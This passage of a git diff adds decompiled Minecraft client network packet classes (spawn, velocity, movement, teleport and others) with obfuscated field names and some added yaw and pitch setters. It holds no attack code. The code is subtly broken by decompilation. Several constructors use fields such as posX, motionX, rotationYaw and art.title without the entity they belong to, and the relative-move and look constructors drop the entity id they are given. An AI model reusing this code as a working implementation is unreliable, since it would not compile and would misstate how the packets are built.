+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S0DPacketCollectItem.java b/src/minecraft/net/minecraft/network/play/server/S0DPacketCollectItem.java
new file mode 100644
index 0000000..33994a4
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S0DPacketCollectItem.java
@@ -0,0 +1,66 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+
+public class S0DPacketCollectItem implements Packet
+{
+  private int field_149357_a;
+  private int field_149356_b;
+  private static final String __OBFID = "CL_00001339";
+  
+  public S0DPacketCollectItem() {}
+  
+  public S0DPacketCollectItem(int p_i45232_1_, int p_i45232_2_)
+  {
+    field_149357_a = p_i45232_1_;
+    field_149356_b = p_i45232_2_;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_149357_a = data.readVarIntFromBuffer();
+    field_149356_b = data.readVarIntFromBuffer();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeVarIntToBuffer(field_149357_a);
+    data.writeVarIntToBuffer(field_149356_b);
+  }
+  
+
+
+
+  public void processPacket(INetHandlerPlayClient handler)
+  {
+    handler.handleCollectItem(this);
+  }
+  
+  public int func_149354_c()
+  {
+    return field_149357_a;
+  }
+  
+  public int func_149353_d()
+  {
+    return field_149356_b;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S0EPacketSpawnObject.java b/src/minecraft/net/minecraft/network/play/server/S0EPacketSpawnObject.java
new file mode 100644
index 0000000..0580509
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S0EPacketSpawnObject.java
@@ -0,0 +1,236 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.entity.Entity;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.util.MathHelper;
+
+public class S0EPacketSpawnObject implements Packet
+{
+  private int field_149018_a;
+  private int field_149016_b;
+  private int field_149017_c;
+  private int field_149014_d;
+  private int field_149015_e;
+  private int field_149012_f;
+  private int field_149013_g;
+  private int field_149021_h;
+  private int field_149022_i;
+  private int field_149019_j;
+  private int field_149020_k;
+  private static final String __OBFID = "CL_00001276";
+  
+  public S0EPacketSpawnObject() {}
+  
+  public S0EPacketSpawnObject(Entity p_i45165_1_, int p_i45165_2_)
+  {
+    this(p_i45165_1_, p_i45165_2_, 0);
+  }
+  
+  public S0EPacketSpawnObject(Entity p_i45166_1_, int p_i45166_2_, int p_i45166_3_)
+  {
+    field_149018_a = p_i45166_1_.getEntityId();
+    field_149016_b = MathHelper.floor_double(posX * 32.0D);
+    field_149017_c = MathHelper.floor_double(posY * 32.0D);
+    field_149014_d = MathHelper.floor_double(posZ * 32.0D);
+    field_149021_h = MathHelper.floor_float(rotationPitch * 256.0F / 360.0F);
+    field_149022_i = MathHelper.floor_float(rotationYaw * 256.0F / 360.0F);
+    field_149019_j = p_i45166_2_;
+    field_149020_k = p_i45166_3_;
+    
+    if (p_i45166_3_ > 0)
+    {
+      double var4 = motionX;
+      double var6 = motionY;
+      double var8 = motionZ;
+      double var10 = 3.9D;
+      
+      if (var4 < -var10)
+      {
+        var4 = -var10;
+      }
+      
+      if (var6 < -var10)
+      {
+        var6 = -var10;
+      }
+      
+      if (var8 < -var10)
+      {
+        var8 = -var10;
+      }
+      
+      if (var4 > var10)
+      {
+        var4 = var10;
+      }
+      
+      if (var6 > var10)
+      {
+        var6 = var10;
+      }
+      
+      if (var8 > var10)
+      {
+        var8 = var10;
+      }
+      
+      field_149015_e = ((int)(var4 * 8000.0D));
+      field_149012_f = ((int)(var6 * 8000.0D));
+      field_149013_g = ((int)(var8 * 8000.0D));
+    }
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_149018_a = data.readVarIntFromBuffer();
+    field_149019_j = data.readByte();
+    field_149016_b = data.readInt();
+    field_149017_c = data.readInt();
+    field_149014_d = data.readInt();
+    field_149021_h = data.readByte();
+    field_149022_i = data.readByte();
+    field_149020_k = data.readInt();
+    
+    if (field_149020_k > 0)
+    {
+      field_149015_e = data.readShort();
+      field_149012_f = data.readShort();
+      field_149013_g = data.readShort();
+    }
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeVarIntToBuffer(field_149018_a);
+    data.writeByte(field_149019_j);
+    data.writeInt(field_149016_b);
+    data.writeInt(field_149017_c);
+    data.writeInt(field_149014_d);
+    data.writeByte(field_149021_h);
+    data.writeByte(field_149022_i);
+    data.writeInt(field_149020_k);
+    
+    if (field_149020_k > 0)
+    {
+      data.writeShort(field_149015_e);
+      data.writeShort(field_149012_f);
+      data.writeShort(field_149013_g);
+    }
+  }
+  
+
+
+
+  public void processPacket(INetHandlerPlayClient handler)
+  {
+    handler.handleSpawnObject(this);
+  }
+  
+  public int func_149001_c()
+  {
+    return field_149018_a;
+  }
+  
+  public int func_148997_d()
+  {
+    return field_149016_b;
+  }
+  
+  public int func_148998_e()
+  {
+    return field_149017_c;
+  }
+  
+  public int func_148994_f()
+  {
+    return field_149014_d;
+  }
+  
+  public int func_149010_g()
+  {
+    return field_149015_e;
+  }
+  
+  public int func_149004_h()
+  {
+    return field_149012_f;
+  }
+  
+  public int func_148999_i()
+  {
+    return field_149013_g;
+  }
+  
+  public int func_149008_j()
+  {
+    return field_149021_h;
+  }
+  
+  public int func_149006_k()
+  {
+    return field_149022_i;
+  }
+  
+  public int func_148993_l()
+  {
+    return field_149019_j;
+  }
+  
+  public int func_149009_m()
+  {
+    return field_149020_k;
+  }
+  
+  public void func_148996_a(int p_148996_1_)
+  {
+    field_149016_b = p_148996_1_;
+  }
+  
+  public void func_148995_b(int p_148995_1_)
+  {
+    field_149017_c = p_148995_1_;
+  }
+  
+  public void func_149005_c(int p_149005_1_)
+  {
+    field_149014_d = p_149005_1_;
+  }
+  
+  public void func_149003_d(int p_149003_1_)
+  {
+    field_149015_e = p_149003_1_;
+  }
+  
+  public void func_149000_e(int p_149000_1_)
+  {
+    field_149012_f = p_149000_1_;
+  }
+  
+  public void func_149007_f(int p_149007_1_)
+  {
+    field_149013_g = p_149007_1_;
+  }
+  
+  public void func_149002_g(int p_149002_1_)
+  {
+    field_149020_k = p_149002_1_;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S0FPacketSpawnMob.java b/src/minecraft/net/minecraft/network/play/server/S0FPacketSpawnMob.java
new file mode 100644
index 0000000..760d829
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S0FPacketSpawnMob.java
@@ -0,0 +1,199 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import java.util.List;
+import net.minecraft.entity.DataWatcher;
+import net.minecraft.entity.EntityList;
+import net.minecraft.entity.EntityLivingBase;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.util.MathHelper;
+
+public class S0FPacketSpawnMob implements Packet
+{
+  private int field_149042_a;
+  private int field_149040_b;
+  private int field_149041_c;
+  private int field_149038_d;
+  private int field_149039_e;
+  private int field_149036_f;
+  private int field_149037_g;
+  private int field_149047_h;
+  private byte field_149048_i;
+  private byte field_149045_j;
+  private byte field_149046_k;
+  private DataWatcher field_149043_l;
+  private List field_149044_m;
+  private static final String __OBFID = "CL_00001279";
+  
+  public S0FPacketSpawnMob() {}
+  
+  public S0FPacketSpawnMob(EntityLivingBase p_i45192_1_)
+  {
+    field_149042_a = p_i45192_1_.getEntityId();
+    field_149040_b = ((byte)EntityList.getEntityID(p_i45192_1_));
+    field_149041_c = MathHelper.floor_double(posX * 32.0D);
+    field_149038_d = MathHelper.floor_double(posY * 32.0D);
+    field_149039_e = MathHelper.floor_double(posZ * 32.0D);
+    field_149048_i = ((byte)(int)(rotationYaw * 256.0F / 360.0F));
+    field_149045_j = ((byte)(int)(rotationPitch * 256.0F / 360.0F));
+    field_149046_k = ((byte)(int)(rotationYawHead * 256.0F / 360.0F));
+    double var2 = 3.9D;
+    double var4 = motionX;
+    double var6 = motionY;
+    double var8 = motionZ;
+    
+    if (var4 < -var2)
+    {
+      var4 = -var2;
+    }
+    
+    if (var6 < -var2)
+    {
+      var6 = -var2;
+    }
+    
+    if (var8 < -var2)
+    {
+      var8 = -var2;
+    }
+    
+    if (var4 > var2)
+    {
+      var4 = var2;
+    }
+    
+    if (var6 > var2)
+    {
+      var6 = var2;
+    }
+    
+    if (var8 > var2)
+    {
+      var8 = var2;
+    }
+    
+    field_149036_f = ((int)(var4 * 8000.0D));
+    field_149037_g = ((int)(var6 * 8000.0D));
+    field_149047_h = ((int)(var8 * 8000.0D));
+    field_149043_l = p_i45192_1_.getDataWatcher();
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_149042_a = data.readVarIntFromBuffer();
+    field_149040_b = (data.readByte() & 0xFF);
+    field_149041_c = data.readInt();
+    field_149038_d = data.readInt();
+    field_149039_e = data.readInt();
+    field_149048_i = data.readByte();
+    field_149045_j = data.readByte();
+    field_149046_k = data.readByte();
+    field_149036_f = data.readShort();
+    field_149037_g = data.readShort();
+    field_149047_h = data.readShort();
+    field_149044_m = DataWatcher.readWatchedListFromPacketBuffer(data);
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeVarIntToBuffer(field_149042_a);
+    data.writeByte(field_149040_b & 0xFF);
+    data.writeInt(field_149041_c);
+    data.writeInt(field_149038_d);
+    data.writeInt(field_149039_e);
+    data.writeByte(field_149048_i);
+    data.writeByte(field_149045_j);
+    data.writeByte(field_149046_k);
+    data.writeShort(field_149036_f);
+    data.writeShort(field_149037_g);
+    data.writeShort(field_149047_h);
+    field_149043_l.writeTo(data);
+  }
+  
+  public void func_180721_a(INetHandlerPlayClient p_180721_1_)
+  {
+    p_180721_1_.handleSpawnMob(this);
+  }
+  
+  public List func_149027_c()
+  {
+    if (field_149044_m == null)
+    {
+      field_149044_m = field_149043_l.getAllWatched();
+    }
+    
+    return field_149044_m;
+  }
+  
+  public int func_149024_d()
+  {
+    return field_149042_a;
+  }
+  
+  public int func_149025_e()
+  {
+    return field_149040_b;
+  }
+  
+  public int func_149023_f()
+  {
+    return field_149041_c;
+  }
+  
+  public int func_149034_g()
+  {
+    return field_149038_d;
+  }
+  
+  public int func_149029_h()
+  {
+    return field_149039_e;
+  }
+  
+  public int func_149026_i()
+  {
+    return field_149036_f;
+  }
+  
+  public int func_149033_j()
+  {
+    return field_149037_g;
+  }
+  
+  public int func_149031_k()
+  {
+    return field_149047_h;
+  }
+  
+  public byte func_149028_l()
+  {
+    return field_149048_i;
+  }
+  
+  public byte func_149030_m()
+  {
+    return field_149045_j;
+  }
+  
+  public byte func_149032_n()
+  {
+    return field_149046_k;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180721_a((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S10PacketSpawnPainting.java b/src/minecraft/net/minecraft/network/play/server/S10PacketSpawnPainting.java
new file mode 100644
index 0000000..b73b442
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S10PacketSpawnPainting.java
@@ -0,0 +1,84 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.entity.item.EntityPainting;
+import net.minecraft.entity.item.EntityPainting.EnumArt;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.util.BlockPos;
+import net.minecraft.util.EnumFacing;
+
+public class S10PacketSpawnPainting implements net.minecraft.network.Packet
+{
+  private int field_148973_a;
+  private BlockPos field_179838_b;
+  private EnumFacing field_179839_c;
+  private String field_148968_f;
+  private static final String __OBFID = "CL_00001280";
+  
+  public S10PacketSpawnPainting() {}
+  
+  public S10PacketSpawnPainting(EntityPainting p_i45170_1_)
+  {
+    field_148973_a = p_i45170_1_.getEntityId();
+    field_179838_b = p_i45170_1_.func_174857_n();
+    field_179839_c = field_174860_b;
+    field_148968_f = art.title;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_148973_a = data.readVarIntFromBuffer();
+    field_148968_f = data.readStringFromBuffer(EntityPainting.EnumArt.field_180001_A);
+    field_179838_b = data.readBlockPos();
+    field_179839_c = EnumFacing.getHorizontal(data.readUnsignedByte());
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeVarIntToBuffer(field_148973_a);
+    data.writeString(field_148968_f);
+    data.writeBlockPos(field_179838_b);
+    data.writeByte(field_179839_c.getHorizontalIndex());
+  }
+  
+  public void func_180722_a(INetHandlerPlayClient p_180722_1_)
+  {
+    p_180722_1_.handleSpawnPainting(this);
+  }
+  
+  public int func_148965_c()
+  {
+    return field_148973_a;
+  }
+  
+  public BlockPos func_179837_b()
+  {
+    return field_179838_b;
+  }
+  
+  public EnumFacing func_179836_c()
+  {
+    return field_179839_c;
+  }
+  
+  public String func_148961_h()
+  {
+    return field_148968_f;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180722_a((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S11PacketSpawnExperienceOrb.java b/src/minecraft/net/minecraft/network/play/server/S11PacketSpawnExperienceOrb.java
new file mode 100644
index 0000000..f9cef18
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S11PacketSpawnExperienceOrb.java
@@ -0,0 +1,92 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.entity.item.EntityXPOrb;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.util.MathHelper;
+
+public class S11PacketSpawnExperienceOrb implements Packet
+{
+  private int field_148992_a;
+  private int field_148990_b;
+  private int field_148991_c;
+  private int field_148988_d;
+  private int field_148989_e;
+  private static final String __OBFID = "CL_00001277";
+  
+  public S11PacketSpawnExperienceOrb() {}
+  
+  public S11PacketSpawnExperienceOrb(EntityXPOrb p_i45167_1_)
+  {
+    field_148992_a = p_i45167_1_.getEntityId();
+    field_148990_b = MathHelper.floor_double(posX * 32.0D);
+    field_148991_c = MathHelper.floor_double(posY * 32.0D);
+    field_148988_d = MathHelper.floor_double(posZ * 32.0D);
+    field_148989_e = p_i45167_1_.getXpValue();
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_148992_a = data.readVarIntFromBuffer();
+    field_148990_b = data.readInt();
+    field_148991_c = data.readInt();
+    field_148988_d = data.readInt();
+    field_148989_e = data.readShort();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeVarIntToBuffer(field_148992_a);
+    data.writeInt(field_148990_b);
+    data.writeInt(field_148991_c);
+    data.writeInt(field_148988_d);
+    data.writeShort(field_148989_e);
+  }
+  
+  public void func_180719_a(INetHandlerPlayClient p_180719_1_)
+  {
+    p_180719_1_.handleSpawnExperienceOrb(this);
+  }
+  
+  public int func_148985_c()
+  {
+    return field_148992_a;
+  }
+  
+  public int func_148984_d()
+  {
+    return field_148990_b;
+  }
+  
+  public int func_148983_e()
+  {
+    return field_148991_c;
+  }
+  
+  public int func_148982_f()
+  {
+    return field_148988_d;
+  }
+  
+  public int func_148986_g()
+  {
+    return field_148989_e;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    func_180719_a((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S12PacketEntityVelocity.java b/src/minecraft/net/minecraft/network/play/server/S12PacketEntityVelocity.java
new file mode 100644
index 0000000..5f6d606
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S12PacketEntityVelocity.java
@@ -0,0 +1,122 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.entity.Entity;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+
+public class S12PacketEntityVelocity implements Packet
+{
+  private int field_149417_a;
+  public int field_149415_b;
+  public int field_149416_c;
+  public int field_149414_d;
+  private static final String __OBFID = "CL_00001328";
+  
+  public S12PacketEntityVelocity() {}
+  
+  public S12PacketEntityVelocity(Entity p_i45219_1_)
+  {
+    this(p_i45219_1_.getEntityId(), motionX, motionY, motionZ);
+  }
+  
+  public S12PacketEntityVelocity(int p_i45220_1_, double p_i45220_2_, double p_i45220_4_, double p_i45220_6_)
+  {
+    field_149417_a = p_i45220_1_;
+    double var8 = 3.9D;
+    
+    if (p_i45220_2_ < -var8)
+    {
+      p_i45220_2_ = -var8;
+    }
+    
+    if (p_i45220_4_ < -var8)
+    {
+      p_i45220_4_ = -var8;
+    }
+    
+    if (p_i45220_6_ < -var8)
+    {
+      p_i45220_6_ = -var8;
+    }
+    
+    if (p_i45220_2_ > var8)
+    {
+      p_i45220_2_ = var8;
+    }
+    
+    if (p_i45220_4_ > var8)
+    {
+      p_i45220_4_ = var8;
+    }
+    
+    if (p_i45220_6_ > var8)
+    {
+      p_i45220_6_ = var8;
+    }
+    
+    field_149415_b = ((int)(p_i45220_2_ * 8000.0D));
+    field_149416_c = ((int)(p_i45220_4_ * 8000.0D));
+    field_149414_d = ((int)(p_i45220_6_ * 8000.0D));
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_149417_a = data.readVarIntFromBuffer();
+    field_149415_b = data.readShort();
+    field_149416_c = data.readShort();
+    field_149414_d = data.readShort();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeVarIntToBuffer(field_149417_a);
+    data.writeShort(field_149415_b);
+    data.writeShort(field_149416_c);
+    data.writeShort(field_149414_d);
+  }
+  
+
+
+
+  public void processPacket(INetHandlerPlayClient handler)
+  {
+    handler.handleEntityVelocity(this);
+  }
+  
+  public int func_149412_c()
+  {
+    return field_149417_a;
+  }
+  
+  public int func_149411_d()
+  {
+    return field_149415_b;
+  }
+  
+  public int func_149410_e()
+  {
+    return field_149416_c;
+  }
+  
+  public int func_149409_f()
+  {
+    return field_149414_d;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S13PacketDestroyEntities.java b/src/minecraft/net/minecraft/network/play/server/S13PacketDestroyEntities.java
new file mode 100644
index 0000000..5d8c701
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S13PacketDestroyEntities.java
@@ -0,0 +1,67 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+
+public class S13PacketDestroyEntities implements Packet
+{
+  private int[] field_149100_a;
+  private static final String __OBFID = "CL_00001320";
+  
+  public S13PacketDestroyEntities() {}
+  
+  public S13PacketDestroyEntities(int... p_i45211_1_)
+  {
+    field_149100_a = p_i45211_1_;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_149100_a = new int[data.readVarIntFromBuffer()];
+    
+    for (int var2 = 0; var2 < field_149100_a.length; var2++)
+    {
+      field_149100_a[var2] = data.readVarIntFromBuffer();
+    }
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeVarIntToBuffer(field_149100_a.length);
+    
+    for (int var2 = 0; var2 < field_149100_a.length; var2++)
+    {
+      data.writeVarIntToBuffer(field_149100_a[var2]);
+    }
+  }
+  
+
+
+
+  public void processPacket(INetHandlerPlayClient handler)
+  {
+    handler.handleDestroyEntities(this);
+  }
+  
+  public int[] func_149098_c()
+  {
+    return field_149100_a;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerPlayClient)handler);
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S14PacketEntity.java b/src/minecraft/net/minecraft/network/play/server/S14PacketEntity.java
new file mode 100644
index 0000000..cc37a01
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S14PacketEntity.java
@@ -0,0 +1,234 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.entity.Entity;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.world.World;
+
+public class S14PacketEntity implements Packet
+{
+  protected int field_149074_a;
+  protected byte field_149072_b;
+  protected byte field_149073_c;
+  protected byte field_149070_d;
+  protected byte field_149071_e;
+  protected byte field_149068_f;
+  protected boolean field_179743_g;
+  protected boolean field_149069_g;
+  private static final String __OBFID = "CL_00001312";
+  
+  public S14PacketEntity() {}
+  
+  public S14PacketEntity(int p_i45206_1_)
+  {
+    field_149074_a = p_i45206_1_;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_149074_a = data.readVarIntFromBuffer();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeVarIntToBuffer(field_149074_a);
+  }
+  
+
+
+
+  public void processPacket(INetHandlerPlayClient handler)
+  {
+    handler.handleEntityMovement(this);
+  }
+  
+  public String toString()
+  {
+    return "Entity_" + super.toString();
+  }
+  
+  public Entity func_149065_a(World worldIn)
+  {
+    return worldIn.getEntityByID(field_149074_a);
+  }
+  
+  public byte func_149062_c()
+  {
+    return field_149072_b;
+  }
+  
+  public byte func_149061_d()
+  {
+    return field_149073_c;
+  }
+  
+  public byte func_149064_e()
+  {
+    return field_149070_d;
+  }
+  
+  public byte func_149066_f()
+  {
+    return field_149071_e;
+  }
+  
+  public byte func_149063_g()
+  {
+    return field_149068_f;
+  }
+  
+  public boolean func_149060_h()
+  {
+    return field_149069_g;
+  }
+  
+  public boolean func_179742_g()
+  {
+    return field_179743_g;
+  }
+  
+
+
+
+  public void processPacket(INetHandler handler)
+  {
+    processPacket((INetHandlerPlayClient)handler);
+  }
+  
+  public static class S15PacketEntityRelMove extends S14PacketEntity
+  {
+    private static final String __OBFID = "CL_00001313";
+    
+    public S15PacketEntityRelMove() {}
+    
+    public S15PacketEntityRelMove(int p_i45974_1_, byte p_i45974_2_, byte p_i45974_3_, byte p_i45974_4_, boolean p_i45974_5_)
+    {
+      super();
+      field_149072_b = p_i45974_2_;
+      field_149073_c = p_i45974_3_;
+      field_149070_d = p_i45974_4_;
+      field_179743_g = p_i45974_5_;
+    }
+    
+    public void readPacketData(PacketBuffer data) throws IOException
+    {
+      super.readPacketData(data);
+      field_149072_b = data.readByte();
+      field_149073_c = data.readByte();
+      field_149070_d = data.readByte();
+      field_179743_g = data.readBoolean();
+    }
+    
+    public void writePacketData(PacketBuffer data) throws IOException
+    {
+      super.writePacketData(data);
+      data.writeByte(field_149072_b);
+      data.writeByte(field_149073_c);
+      data.writeByte(field_149070_d);
+      data.writeBoolean(field_179743_g);
+    }
+    
+    public void processPacket(INetHandler handler)
+    {
+      super.processPacket((INetHandlerPlayClient)handler);
+    }
+  }
+  
+  public static class S16PacketEntityLook extends S14PacketEntity
+  {
+    private static final String __OBFID = "CL_00001315";
+    
+    public S16PacketEntityLook()
+    {
+      field_149069_g = true;
+    }
+    
+    public S16PacketEntityLook(int p_i45972_1_, byte p_i45972_2_, byte p_i45972_3_, boolean p_i45972_4_)
+    {
+      super();
+      field_149071_e = p_i45972_2_;
+      field_149068_f = p_i45972_3_;
+      field_149069_g = true;
+      field_179743_g = p_i45972_4_;
+    }
+    
+    public void readPacketData(PacketBuffer data) throws IOException
+    {
+      super.readPacketData(data);
+      field_149071_e = data.readByte();
+      field_149068_f = data.readByte();
+      field_179743_g = data.readBoolean();
+    }
+    
+    public void writePacketData(PacketBuffer data) throws IOException
+    {
+      super.writePacketData(data);
+      data.writeByte(field_149071_e);
+      data.writeByte(field_149068_f);
+      data.writeBoolean(field_179743_g);
+    }
+    
+    public void processPacket(INetHandler handler)
+    {
+      super.processPacket((INetHandlerPlayClient)handler);
+    }
+  }
+  
+  public static class S17PacketEntityLookMove extends S14PacketEntity
+  {
+    private static final String __OBFID = "CL_00001314";
+    
+    public S17PacketEntityLookMove()
+    {
+      field_149069_g = true;
+    }
+    
+    public S17PacketEntityLookMove(int p_i45973_1_, byte p_i45973_2_, byte p_i45973_3_, byte p_i45973_4_, byte p_i45973_5_, byte p_i45973_6_, boolean p_i45973_7_)
+    {
+      super();
+      field_149072_b = p_i45973_2_;
+      field_149073_c = p_i45973_3_;
+      field_149070_d = p_i45973_4_;
+      field_149071_e = p_i45973_5_;
+      field_149068_f = p_i45973_6_;
+      field_179743_g = p_i45973_7_;
+      field_149069_g = true;
+    }
+    
+    public void readPacketData(PacketBuffer data) throws IOException
+    {
+      super.readPacketData(data);
+      field_149072_b = data.readByte();
+      field_149073_c = data.readByte();
+      field_149070_d = data.readByte();
+      field_149071_e = data.readByte();
+      field_149068_f = data.readByte();
+      field_179743_g = data.readBoolean();
+    }
+    
+    public void writePacketData(PacketBuffer data) throws IOException
+    {
+      super.writePacketData(data);
+      data.writeByte(field_149072_b);
+      data.writeByte(field_149073_c);
+      data.writeByte(field_149070_d);
+      data.writeByte(field_149071_e);
+      data.writeByte(field_149068_f);
+      data.writeBoolean(field_179743_g);
+    }
+    
+    public void processPacket(INetHandler handler)
+    {
+      super.processPacket((INetHandlerPlayClient)handler);
+    }
+  }
+}
diff --git a/src/minecraft/net/minecraft/network/play/server/S18PacketEntityTeleport.java b/src/minecraft/net/minecraft/network/play/server/S18PacketEntityTeleport.java
new file mode 100644
index 0000000..b9c79c7
--- /dev/null
+++ b/src/minecraft/net/minecraft/network/play/server/S18PacketEntityTeleport.java
@@ -0,0 +1,145 @@
+package net.minecraft.network.play.server;
+
+import java.io.IOException;
+import net.minecraft.entity.Entity;
+import net.minecraft.network.INetHandler;
+import net.minecraft.network.Packet;
+import net.minecraft.network.PacketBuffer;
+import net.minecraft.network.play.INetHandlerPlayClient;
+import net.minecraft.util.MathHelper;
+
+public class S18PacketEntityTeleport implements Packet
+{
+  private int field_149458_a;
+  private int field_149456_b;
+  private int field_149457_c;
+  private int field_149454_d;
+  private byte field_149455_e;
+  private byte field_149453_f;
+  private boolean field_179698_g;
+  private static final String __OBFID = "CL_00001340";
+  
+  public S18PacketEntityTeleport() {}
+  
+  public S18PacketEntityTeleport(Entity p_i45233_1_)
+  {
+    field_149458_a = p_i45233_1_.getEntityId();
+    field_149456_b = MathHelper.floor_double(posX * 32.0D);
+    field_149457_c = MathHelper.floor_double(posY * 32.0D);
+    field_149454_d = MathHelper.floor_double(posZ * 32.0D);
+    field_149455_e = ((byte)(int)(rotationYaw * 256.0F / 360.0F));
+    field_149453_f = ((byte)(int)(rotationPitch * 256.0F / 360.0F));
+    field_179698_g = onGround;
+  }
+  
+  public S18PacketEntityTeleport(int p_i45949_1_, int p_i45949_2_, int p_i45949_3_, int p_i45949_4_, byte p_i45949_5_, byte p_i45949_6_, boolean p_i45949_7_)
+  {
+    field_149458_a = p_i45949_1_;
+    field_149456_b = p_i45949_2_;
+    field_149457_c = p_i45949_3_;
+    field_149454_d = p_i45949_4_;
+    field_149455_e = p_i45949_5_;
+    field_149453_f = p_i45949_6_;
+    field_179698_g = p_i45949_7_;
+  }
+  
+
+
+  public void readPacketData(PacketBuffer data)
+    throws IOException
+  {
+    field_149458_a = data.readVarIntFromBuffer();
+    field_149456_b = data.readInt();
+    field_149457_c = data.readInt();
+    field_149454_d = data.readInt();
+    field_149455_e = data.readByte();
+    field_149453_f = data.readByte();
+    field_179698_g = data.readBoolean();
+  }
+  
+
+
+  public void writePacketData(PacketBuffer data)
+    throws IOException
+  {
+    data.writeVarIntToBuffer(field_149458_a);
+    data.writeInt(field_149456_b);
+    data.writeInt(field_149457_c);
+    data.writeInt(field_149454_d);
+    data.writeByte(field_149455_e);
+    data.writeByte(field_149453_f);
+    data.writeBoolean(field_179698_g);
+  }
+  
+
+
+
+  public void processPacket(INetHandlerPlayClient handler)
+  {
+    handler.handleEntityTeleport(this);
+  }
+  
+  public int func_149451_c()
+  {
+    return field_149458_a;
+  }
+  
+  public int func_149449_d()
+  {
+    return field_149456_b;
+  }
+  
+  public int func_149448_e()
+  {
+    return field_149457_c;
+  }
+  
+  public int func_149446_f()
+  {
+    return field_149454_d;
+  }
+  
+  public byte func_149450_g()
+  {
+    return field_149455_e;
+  }
+  
+  public byte func_149447_h()
+  {
+    return field_149453_f;
+  }
+  
+  public boolean func_179697_g()
+  {
+    return field_179698_g;
+  }
+  
+
+  public byte getYaw()
+  {
+    return field_149455_e;
+  }
+  
+  public void setYaw(byte yaw)
+  {
+    field_149455_e = yaw;
+  }
+  
+  public void setPitch(byte pitch)
+  {
+    field_149453_f = pitch;
+  }
+  
